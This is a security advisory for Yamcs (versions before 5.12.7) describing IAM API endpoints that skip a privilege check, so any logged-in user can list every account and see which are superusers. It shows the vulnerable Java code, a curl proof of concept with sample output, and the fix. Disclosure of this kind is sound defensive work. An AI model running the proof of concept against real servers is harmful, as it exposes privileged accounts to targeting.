GHSA-p2rj-mrmc-9w29 Yamcs vulnerable to unauthorized user enumeration via IAM API endpoints

• Maven org.yamcs:yamcs-core: < 5.12.7 → fixed in 5.12.7

Summary The IAM API endpoints (`listUsers`, `getUser`, `listGroups`, and `getGroup`) in `yamcs-core` do not enforce the required `SystemPrivilege.ControlAccess` check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships. This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information. Root Cause File: `yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372` `listUsers()`, `getUser()`, `listGroups()`, and `getGroup()` do not require `SystemPrivilege.ControlAccess`. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships: ```java // listUsers — NO checkSystemPrivilege public void listUsers(Context ctx, Empty request, ...) { var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess); // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed for (User user : users) { UserInfo userb = toUserInfo(user, sensitiveDetails, directory); responseb.addUsers(userb); } } ``` Compare with properly protected endpoints: ```java // createUser — correctly protected public void createUser(Context ctx, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present ``` Impact Any authenticated user can: 1. List all user accounts in the system 2. Identify which accounts have superuser privileges 3. Use this information to target privileged accounts Proof of Concept ```bash Authenticate as any low-privilege user GET access_token curl -s -X POST "http://localhost:8090/auth/token" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "grant_type=password&username=lowpriv&password=lowpriv123" Enumerate all users — no ControlAccess required curl -s "http://TARGET:8090/api/users" \ -H "Authorization: Bearer $TOKEN" #paste access_token ``` Output (confirmed): ```json { "users": [ { "name": "admin", "superuser": true, "active": true }, { "name": "operator", "superuser": true, "active": true }, { "name": "lowpriv", "superuser": false, "active": true } ] } ``` Fix Add `ControlAccess` check to `listUsers`, `getUser`, `listGroups`, `getGroup`: ```java public void listUsers(Context ctx, Empty request, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS ... } ```